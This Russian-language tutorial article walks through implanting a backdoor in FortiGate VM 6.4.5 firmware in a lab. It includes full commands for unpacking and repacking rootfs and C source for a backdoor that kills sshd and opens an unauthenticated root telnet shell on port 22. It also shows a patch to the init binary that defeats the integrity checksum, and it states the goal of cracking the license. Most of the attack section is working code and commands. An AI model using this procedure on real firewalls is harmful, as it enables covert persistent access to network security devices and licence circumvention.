April 28, 2024

Беззащитная защита. Изучаем уязвимость, дающую встроить бэкдор в FortiGate

  1. Готовим стенд
  2. Удаленное подключение
  3. Получаем бэкдор
  4. Устанавливаем бэкдор
  5. Ковыряем прошивку и ломаем контрольную сумму файловой системы
  6. Собираем все обратно
  7. Проверка бэкдора
  8. Выводы

Как извес­тно, даже инс­тру­мен­ты для обес­печения сетевой безопас­ности могут иметь серь­езные уяз­вимос­ти. В этой статье мы раз­берем, как зло­умыш­ленник может взло­мать меж­сетевой экран FortiGate и уста­новить в его про­шив­ке бэк­дор.

Эта исто­рия начина­ется с того, что однажды я про­читал ресерч на CVE-2022-42475, в котором про­исхо­дит перепол­нение кучи. Уяз­вимость при­водит к выпол­нению про­изволь­ного кода. Я решил поп­робовать реали­зовать PoC, но мне помеша­ло отсутс­твие лицен­зии. Перед тем как реали­зовы­вать этот PoC, необ­ходимо уста­новить бэк­дор на FortiGate с исполь­зовани­ем уяз­вимос­ти CVE-2019-5587. В статье я рас­ска­жу, как сде­лать этот бэк­дор и как он работа­ет.

FortiGate — меж­сетевой экран с воз­можностью мар­шру­тиза­ции нового поколе­ния. Он вклю­чает в себя боль­шинс­тво тра­дици­онных сер­висов, таких как про­вер­ка тра­фика, анти­вирус, VPN, сис­темы пре­дот­вра­щения втор­жений, и дру­гие фун­кции обес­печения безопас­ности. Для демонс­тра­ции уяз­вимос­ти и даль­нейших иссле­дова­ний необ­ходимо под­готовить стенд с исполь­зовани­ем FortiGate.

ГОТОВИМ СТЕНД

Для ресер­ча была выб­рана вер­сия FortiGate VM64 v6.4.5 build1828 (GA). Стенд раз­ворачи­ваю на VMware ESXI, а обра­зы мар­шру­тиза­тора дол­жны иметь рас­ширения .out, .ovf, .zip.

Пос­ле рас­паков­ки архи­ва мы получим сле­дующие фай­лы.

В даль­нейшем для ревер­са и иссле­дова­ния бинарей нам понадо­бит­ся диск вир­туаль­ной машины fortios.vmdk.

В VMware ESXI нуж­но импорти­ровать сущес­тву­ющую вир­туаль­ную машину, поэто­му сле­дует выб­рать режим Create/Register VM, а затем — Deploy a virtual machine from an OVF or OVA file.

Те­перь надо ука­зать сле­дующие фай­лы для заг­рузки вир­туаль­ной машины:

  • datadrive.vmdk — сис­темный жес­ткий диск FortiGate;
  • FortiGate-VM64.ovf — вир­туаль­ная машина;
  • fortios.vmdk — фай­ловая сис­тема и сама начин­ка FortiGate.

Имя у вир­туал­ки может быть про­изволь­ным, я наз­вал ее прос­то FortiGate.

Пе­рей­дем к нас­трой­кам сети. Все сетевые адап­теры, кро­ме пер­вого, вык­лючим, потому что будем работать толь­ко с одним. Так­же изме­ним интерфейс с [pt]Network на VM Network. Это нуж­но, что­бы вир­туаль­ная машина находи­лась с нами в одной сети.

За­пус­каем вир­туаль­ную машину, вво­дим логин — admin, пароль — Enter, пос­ле чего новый пароль необ­ходимо при­думать.

По умол­чанию FortiGate нас­тро­ен на исполь­зование в качес­тве NTP-сер­вера. Необ­ходимо отклю­чить NTP-син­хро­низа­цию для перехо­да в проб­ный режим.

NTP — сетевой про­токол для син­хро­низа­ции внут­ренних часов компь­юте­ра пос­редс­твом исполь­зования сетей с перемен­ной латен­тностью.

config system ntp set ntpsync disable set type custom end

Здесь

  • config system ntp — коман­да для вхо­да в режим кон­фигури­рова­ния NTP;
  • set ntpsync disable — коман­да для отклю­чения син­хро­низа­ции с NTP-сер­вером;
  • set type custom — коман­да для уста­нов­ки NTP-сер­вера, который ука­зыва­ется вруч­ную.

Те­перь нас­тало вре­мя нас­тро­ить мар­шру­тиза­тор. Нас­тра­ивать будем уда­лен­ное под­клю­чение и дос­туп к веб‑интерфей­су фор­тика.

УДАЛЕННОЕ ПОДКЛЮЧЕНИЕ

Нас­тра­ивать SSH, HTTP, HTTPS, Telnet будем в CLI FortiGate. Для уда­лен­ного под­клю­чения нуж­но нас­тро­ить интерфейс, который мы оста­вили вклю­чен­ным:

config system interface edit port1 set mode static set role lan set allowaccess http https telnet ssh ping set ip 192.168.0.217/24 show end

Здесь

  • config system interface — коман­да для вхо­да в режим кон­фигура­ции интерфей­са;
  • edit port1 — коман­да для кон­фигура­ции опре­делен­ного интерфей­са;
  • port1 — условное обоз­начение интерфей­са;
  • set mode static — коман­да для уста­нов­ки ста­тичес­кого адре­са. Что­бы нас­тро­ить DHCP, нуж­но вмес­то static написать DHCP, и тог­да IP-адре­са будут уста­нов­лены авто­мати­чес­ки;
  • set role lan — коман­да для уста­нов­ления роли и интерфей­са. В FortiGate есть четыре роли:
    • роль lan озна­чает, что интерфейс исполь­зует­ся для под­клю­чения к локаль­ной сети;
    • роль wan озна­чает, что интерфейс исполь­зует­ся для под­клю­чения к интерне­ту;
    • роль dmz озна­чает, что интерфейс исполь­зует­ся для под­клю­чения к сер­верам;
    • роль undefined озна­чает, что интерфейс не име­ет кон­крет­ной роли;
  • set allowaccess http https telnet ssh ping — коман­да для дос­тупа к управле­нию с исполь­зовани­ем https, http, telnet, ssh, ping;
  • set ip 192.168.0.217/24 — коман­да для уста­нов­ки IP-адре­са и мас­ки под­сети;
  • show — коман­да, которая показы­вает все нас­трой­ки интерфей­са;
  • end — коман­да для завер­шения нас­трой­ки.

Вот так выг­лядит резуль­тат работы коман­ды show.

Те­перь нас­тра­иваем ста­тичес­кую мар­шру­тиза­цию для дос­тупа из дру­гих сетей к Web и CLI:

config router static edit 1 set gateway 192.168.0.255 set device port1 set dst 0.0.0.0 0.0.0.0 set status enable next end

Здесь

  • config router static — коман­да для кон­фигура­ции ста­тичес­ких мар­шру­тов;
  • edit 1 — коман­да нас­трой­ки нумера­ции с неис­поль­зуемо­го номера;
  • set gateway 192.168.0.255 — коман­да для уста­нов­ки адре­са шлю­за;
  • set device port1 — коман­да для уста­нов­ки интерфей­са;
  • set dst 0.0.0.0 0.0.0.0 — коман­да для уста­нов­ки мес­та наз­начения;
  • set status enable — коман­да для вклю­чения ста­тичес­кой мар­шру­тиза­ции;
  • end — коман­да для завер­шения нас­трой­ки.

Ко­ман­да get router info routing-table all нуж­на для про­вер­ки нас­трой­ки ста­тичес­кой мар­шру­тиза­ции:

S* 0.0.0.0/0 [10/0] via 192.168.0.255, port1 C 192.168.0.0/24 is directly connected, port1

Этот вывод говорит о том, что для всех устрой­ств, находя­щих­ся в сети, шлюз по умол­чанию будет 192.168.0.255, а зна­чит, нас­трой­ка ста­тичес­кой мар­шру­тиза­ции прош­ла успешно.

Пос­ле это­го под­клю­чаем­ся к веб‑интерфей­су через бра­узер по адре­су 192.168.0.217. Логин и пароль исполь­зуй такой же, как и при под­клю­чении к коман­дной стро­ке.

ПОЛУЧАЕМ БЭКДОР

Пос­ле успешной под­готов­ки стен­да нас­тало вре­мя для бэк­дора. Зай­дем в дирек­торию с обра­зом вир­туаль­ной машины и вир­туаль­ными дис­ками FortiGate. В моем слу­чае вир­туаль­ный диск называ­ется forti_6_4_5-disk1.vmdk.

Даль­ше нас­тупа­ет часть мон­тирова­ния и от­равле­ния rootfs.gz. Мон­тирова­ние выпол­няет­ся сле­дующим обра­зом:

sudo modprobe nbd max_part=16 sudo mkdir /mnt/fortios sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk sudo mount /dev/nbd1p1 /mnt/fortios

Здесь

  • sudo modprobe nbd max_part=16 — коман­да под­готов­ки для мон­тирова­ния ста­тичес­кого VDI-обра­за;
  • sudo mkdir /mnt/fortios — коман­да для соз­дания дирек­тории /mnt/fortios;
  • sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk — коман­да для экспор­та обра­за дис­ка QEMU, с исполь­зовани­ем про­токо­ла NBD:
    • -r — ключ озна­чает экспорт дис­ка толь­ко для чте­ния;
    • -c — ключ озна­чает под­клю­чение фай­ла c ука­зан­ным име­нем к пап­ке /dev устрой­ства NBD;
  • sudo mount /dev/nbd1p1 /mnt/fortios — коман­да для мон­тирова­ния дис­ка.

NBD (Network Block Device) — сетевой про­токол, который мож­но исполь­зовать для пересыл­ки блоч­ного устрой­ства (обыч­но жес­тко­го дис­ка или раз­дела) с одно­го компь­юте­ра на дру­гой. Нап­ример, локаль­ный компь­ютер может получить дос­туп к жес­тко­му дис­ку, под­клю­чен­ному к дру­гому компь­юте­ру. В нашем слу­чае про­токол исполь­зует­ся для под­клю­чения вир­туаль­ного жес­тко­го дис­ка к компь­юте­ру. QEMU уме­ет экспор­тировать вир­туаль­ный образ дис­ка, исполь­зуя про­токол NBD.

В резуль­тате forti_6_4_5-disk1.vmdk успешно мон­тиру­ется к нашему компь­юте­ру.

В rootfs.gz содер­жится ОС FortiOS, которую мы будем иссле­довать. Одна­ко перед рас­паков­кой rootfs.gz нуж­но узнать его кон­троль­ную сум­му CRC-32 из фай­ла filechecksum, потому что в вер­сиях FortiGate выше 6.0.5 про­веря­ется целос­тность не толь­ко архи­ва, но и фай­лов внут­ри него. Если про­вер­ка filechecksum не про­ходит, машина прос­то отка­жет­ся запус­кать­ся.

Те­перь рас­паковы­ваем архив с исполь­зовани­ем ути­лит gzip и cpio:

gzip -d rootfs.gz sudo cpio -idv < rootfs

Ар­хиватор gzip, думаю, тебе зна­ком — это ути­лита сжа­тия и вос­ста­нов­ления фай­лов, исполь­зующая алго­ритм Deflate. А cpio — это дво­ичный архи­ватор, который поз­воля­ет собирать любое чис­ло фай­лов, дирек­торий и дру­гих объ­ектов фай­ловой сис­темы (сим­воличес­ких ссы­лок и про­чего) в еди­ный поток бай­тов.

Ко­ман­дой gzip -d rootfs.gz мы рас­паковы­ваем rootfs.gz, при этом ключ -d озна­чает рас­паков­ку фай­ла.

Ко­ман­дой sudo cpio -idv < rootfs копиру­ем фай­лы из архи­ва. Здесь

  • ключ -i исполь­зует­ся для выбор­ки фай­лов из стан­дар­тно­го вход­ного потока;
  • ключ -d исполь­зует­ся для соз­дания катало­гов при необ­ходимос­ти;
  • ключ -v исполь­зует­ся для выдачи допол­нитель­ной информа­ции (спи­сок имен обра­баты­ваемых фай­лов).

Пос­ле этих манипу­ляций мы получа­ем пол­ную фай­ловую сис­тему про­шив­ки FortiGate.

Нас инте­ресу­ет архив bin.tar.xz, потому что в нем содер­жатся бинари init и smartctl:

  • /bin/init — прог­рамма, которая запус­кает сис­тему и управля­ет ею;
  • /bin/smartctl — инс­тру­мент коман­дной стро­ки для управле­ния сис­темой SMART, встро­енной в боль­шинс­тво жес­тких дис­ков ATA/SATA и SCSI/SAS и твер­дотель­ных накопи­телей.

Файл bin.tar.xz упа­кован изме­нен­ными архи­вато­рами xz и tar, которые находят­ся в дирек­тории /sbin. Рас­паковы­вать я его буду эти­ми же изме­нен­ными ути­лита­ми.

Ко­ман­дой sudo chroot . sbin/xz --check=sha256 -d bin.tar.xz (эта коман­да меня­ет кор­невой каталог) изба­вим­ся от архи­ва, соз­данно­го архи­вато­ром xz. Здесь

  • --check — ключ для про­вер­ки целос­тнос­ти, под­держи­вает четыре типа про­вер­ки:
    • none — не рас­счи­тыва­ет про­вер­ку целос­тнос­ти;
    • crc32 — рас­счи­тыва­ет CRC-32, исполь­зуя полином из IEEE-802.3;
    • crc64 — рас­счи­тыва­ет CRC-64, исполь­зуя полином из ECMA-182;
    • sha256 — рас­счи­тыва­ет SHA-256;
  • -d — ключ для рас­паков­ки.

Ко­ман­дой sudo chroot . /sbin/ftar -xf bin.tar изба­вим­ся от вто­рого архи­ва, соз­данно­го архи­вато­ром tar, где

  • ключ -x исполь­зует­ся для извле­чения фай­лов из архи­ва;
  • ключ -f исполь­зует­ся для ука­зания име­ни архи­ва.

Та­ким обра­зом мы получим дирек­торию /bin и наконец‑то раз­берем­ся с бинаря­ми init и smartctl.

Для получе­ния нор­маль­ного шел­ла я исполь­зовал прог­рамму BusyBox 1.36.0, которую ском­пилиро­вал ста­тичес­ки. Ста­тичес­кая ком­пиляция нуж­на потому, что в этой про­шив­ке могут исполь­зовать­ся спе­цифи­чес­кие или изме­нен­ные стан­дар­тные биб­лиоте­ки. Так, при динами­чес­кой лин­ковке бинарь прос­то не пой­мет, отку­да ему брать фун­кции и к чему обра­щать­ся. В ста­тичес­кой ком­пиляции все фун­кции, которые исполь­зуют­ся в прог­рамме, находят­ся непос­редс­твен­но в ней. Прог­рамма ста­новит­ся незави­симой от биб­лиотек, но при­бав­ляет в весе.

BusyBox — набор UNIX-ути­лит коман­дной стро­ки, исполь­зуемый в качес­тве основно­го интерфей­са во встра­иваемых опе­раци­онных сис­темах. Пре­иму­щес­тва это­го при­ложе­ния в малом раз­мере и низ­ких тре­бова­ниях к аппа­рату­ре.

BusyBox я ска­чал с офи­циаль­ного сай­та. Пос­ле рас­паков­ки нуж­но выпол­нить коман­ду make menuconfig, с помощью которой будет ском­пилиро­ван busybox. Во вре­мя сбор­ки откро­ется окно нас­трой­ки ком­пиляции. Для ста­тичес­кой ком­пиляции выбирай вари­ант Settings → Build Options, а затем Build static binary (no shared libs).

Так­же надо убрать звез­дочку нап­ротив пун­кта sync для отклю­чения син­хро­низа­ции с фай­ловой сис­темой.

Пос­ле сбор­ки мы получим бинар­ный файл busybox.

УСТАНАВЛИВАЕМ БЭКДОР

Да­лее план такой:

  1. Ско­пиру­ем бинарь busybox в дирек­торию /bin про­шив­ки FortiGate.
  2. Уда­лим сим­воличес­кую ссыл­ку sh, которая ука­зыва­ет на /bin/sysctl, и переназ­начим ее на толь­ко что ском­пилиро­ван­ный busybox. Таким обра­зом мы добь­емся вызова busybox при обра­щении к sh.
  3. На­пишем мал­варь, которая соз­даст бэк­дор и откро­ет уда­лен­ный дос­туп к фай­ловой сис­теме FortiGate.
  4. За­меним smartctl нашим бэк­дором. Мы заменим имен­но этот бинарь, потому что к нему мож­но обра­тить­ся непос­редс­твен­но из CLI FortiGate коман­дой diagnose hardware smartctl. Эта коман­да исполь­зует­ся для управле­ния сис­темой хра­нения дан­ных FortiWAN с исполь­зовани­ем стан­дар­тной ути­литы smartctl.

Шаг 1

Ко­пиру­ем busybox в каталог /bin и даем ему все пра­ва:

sudo cp busybox $PWD/root_dir/bin cd $PWD/root_dir/bin sudo chmod 777 busybox

Шаг 2

Уда­ляем сим­воличес­кую ссыл­ку sh (sh->/bin/sysctl) и добав­ляем новую:

sudo rm -rf sh sudo ln -s /bin/busybox sh

Те­перь сим­воличес­кая ссыл­ка sh ука­зыва­ет на busybox, а это озна­чает, что у нас есть поч­ти пол­ноцен­ный шелл.

Шаг 3

Cоз­даем бэк­дор, который откры­вает под­клю­чение по Telnet:

# include <stdio.h>void shell() { system("/bin/busybox ls", 0, 0); system("/bin/busybox id", 0, 0); system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0); return;}int main(int argc, char const *argv[]) { shell(); return 0;}

Прог­рамма выводит все фай­лы, которые находят­ся в дирек­тории, коман­дой /bin/busybox ls. Пос­ле это­го мы опре­деля­ем свой uid коман­дой /bin/busybox id. Далее уби­ваем все под­клю­чения по SSH и откры­ваем дос­туп по про­токо­лу Telnet через 22-й порт, на котором уже име­ется дос­туп к шел­лу /bin/sh, где sh->busybox:

/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22

Ком­пилиру­ем прог­рамму ста­тичес­ки по той же при­чине, что и busybox:

gcc backdoor.c -static -o backdoor

Шаг 4

Те­перь уда­ляем smartctl и заменя­ем его сво­им бинар­ным фай­лом:

sudo rm ./bin/smartctl sudo cp backdoor ./bin/smartctl

По сути, мы уда­лили прог­рамму с наз­вани­ем smartctl и соз­дали копию бинаря backdoor с наз­вани­ем smartctl.

КОВЫРЯЕМ ПРОШИВКУ И ЛОМАЕМ КОНТРОЛЬНУЮ СУММУ ФАЙЛОВОЙ СИСТЕМЫ

Все про­вер­ки и работа FortiOS осно­выва­ются на бинаре init. Для про­вер­ки это­го выс­казыва­ния вве­дем коман­ду grep -rnl "System is starting", что­бы най­ти стро­ку System is starting..., потому что с нее начина­ется работа про­шив­ки.

В общем виде коман­да поис­ка выг­лядит сле­дующим обра­зом:

grep -rnl "System is starting"

Здесь

  • -r — ключ для поис­ка стро­ки во всех фай­лах в каж­дом катало­ге рекур­сивно, сле­дуя сим­воличес­ким ссыл­кам;
  • -n — ключ для поис­ка каж­дой стро­ки вывода с номером стро­ки;
  • -l — ключ для вывода име­ни каж­дого вход­ного фай­ла, в котором содер­жится стро­ка.

Пол­ностью коман­да поис­ка выг­лядит так:

$ grep -rnl "System is starting"/bin/init

Та­ким обра­зом, мож­но сде­лать вывод, что про­вер­ка кон­троль­ной сум­мы будет выпол­нять­ся в прог­рамме init. Для ревер­са бинаря я исполь­зовал IDA Pro. И пер­вое, что сле­дует най­ти, — стро­ка System is starting.

Пе­рей­дем по перек­рес­тным ссыл­кам и попадем в фун­кцию main().

Те­перь най­дем стро­ку, которая говорит нам о том, что сис­тема оста­нов­лена, — The system is halted. Такое сооб­щение выводит­ся, если про­вер­ка кон­троль­ной сум­мы не прой­дена. Находим стро­ку и по перек­рес­тным ссыл­кам отыс­кива­ем этот учас­ток кода, который выпол­няет перезаг­рузку сис­темы.

Мож­но най­ти вызов этой фун­кции в фун­кции main().

В фун­кции main() при­сутс­тву­ет два вызова фун­кции do_halt(). Пер­вый из них зависит не от кон­троль­ной сум­мы, а от фор­ка про­цес­са и дру­гих сис­темных вызовов.

Вто­рой вызов фун­кции do_halt() име­ет непос­редс­твен­ное отно­шение к про­вер­ке чек‑сум­мы. Для доказа­тель­ства это­го я нашел фун­кцию, которая про­веря­ет содер­жимое фай­ла с кон­троль­ной сум­мой.

Внут­ри этой фун­кции откры­вает­ся на чте­ние файл и из него извле­кают­ся дан­ные с целью про­вер­ки сис­темы.

В фун­кции find_checksum() путем выпол­нения опе­рации XOR опре­деля­ется наз­вание фай­ла.

На­пишем прос­той дек­риптор для про­вер­ки:

filename = 'aiqu0oZi'key = [0x4E,0x47,0x17,0x12,0x44,0x1C,0x2F,0x04]for i in range(len(filename)): print(chr(ord(filename[i])^key[i]), end = '')

По­лучим такую стро­ку:

/.fgtsum

Этот файл мож­но най­ти в кор­невом катало­ге, поэто­му оче­вид­но, что рас­смот­ренная нами фун­кция исполь­зует файл для реали­зации некото­рой про­вер­ки сис­темы.

Что­бы обой­ти эту про­вер­ку, нуж­но либо заменить в фун­кции do_halt() пер­вую инс­трук­цию инс­трук­цией ret, что­бы фун­кция ничего не выводи­ла, либо пре­дот­вра­тить перезаг­рузку при неудач­ной про­вер­ке. Я выб­рал вто­рой вари­ант, поэто­му в бинар­ном фай­ле init испра­вил JZ на JNZ в перехо­де на фун­кцию do_halt().

Та­ким обра­зом у нас получи­лось обма­нуть про­шив­ку с про­вер­кой кон­троль­ной сум­мы, и наш бэк­дор сра­бота­ет.

В более новых про­шив­ках сис­тема безопас­ности была обновле­на и такой обход может не сра­ботать. В этом слу­чае будет про­верять­ся еще и внеш­ний файл filechecksum, который тоже находит­ся на вир­туаль­ном дис­ке forti_6_4_5-disk1.vmdk вмес­те с rootfs.gz. Необ­ходимо будет вычис­лить CRC-32 нового rootfs.gz и заменить его в этом фай­ле.

СОБИРАЕМ ВСЕ ОБРАТНО

Те­перь соберем все в один архив:

sudo chroot . /sbin/ftar -cf bin.tar ./bin sudo chroot . /sbin/xz --check=sha256 -e bin.tar sudo su root find . -path './bin' -prune -o -print | cpio -H newc -o > ../rootfs.raw cat ../rootfs.raw | gzip > ../rootfs.gz

Пос­ле сбор­ки я получил от­равлен­ный rootfs.gz и заменил rootfs.gz в при­мон­тирован­ном обра­зе forti_6_4_5-disk1.vmdk. Теперь оста­лось толь­ко заменить ори­гиналь­ный диск модифи­циро­ван­ным.

ПРОВЕРКА БЭКДОРА

Пос­ле соз­дания бэк­дора необ­ходимо нем­ного отре­дак­тировать нас­трой­ки. Тро­ян заменя­ет порт SSH, поэто­му нас­трой­ки стен­да теперь такие:

config system interface edit port1 set mode static set role lan set alias LAN set allowaccess http https ssh ping set ip 192.168.0.216/24 show end

Про­веря­ем работу бэк­дора. Для это­го надо под­клю­чить­ся по Telnet c исполь­зовани­ем сле­дующей коман­ды:

telnet XXX.XXX.XXX.XXX 22

Вмес­то XXX.XXX.XXX.XXX ука­жи IP-адрес FortiGate.

Под­клю­чение выпол­нено, а зна­чит, наш бэк­дор работа­ет!

ВЫВОДЫ

По­казан­ный в статье экспе­римент дает воз­можность про­качать навыки в реверс‑инжи­нирин­ге и иссле­дова­нии про­шивок устрой­ств наподо­бие меж­сетевых экра­нов. Одна­ко навыки полез­ны толь­ко тог­да, ког­да их мож­но при­менить на прак­тике. Реали­зовав бэк­дор в про­шив­ке FortiGate, мож­но кряк­нуть лицен­зию и реали­зовать уяз­вимость CVE-2022-42475. Но об этом — в дру­гой раз.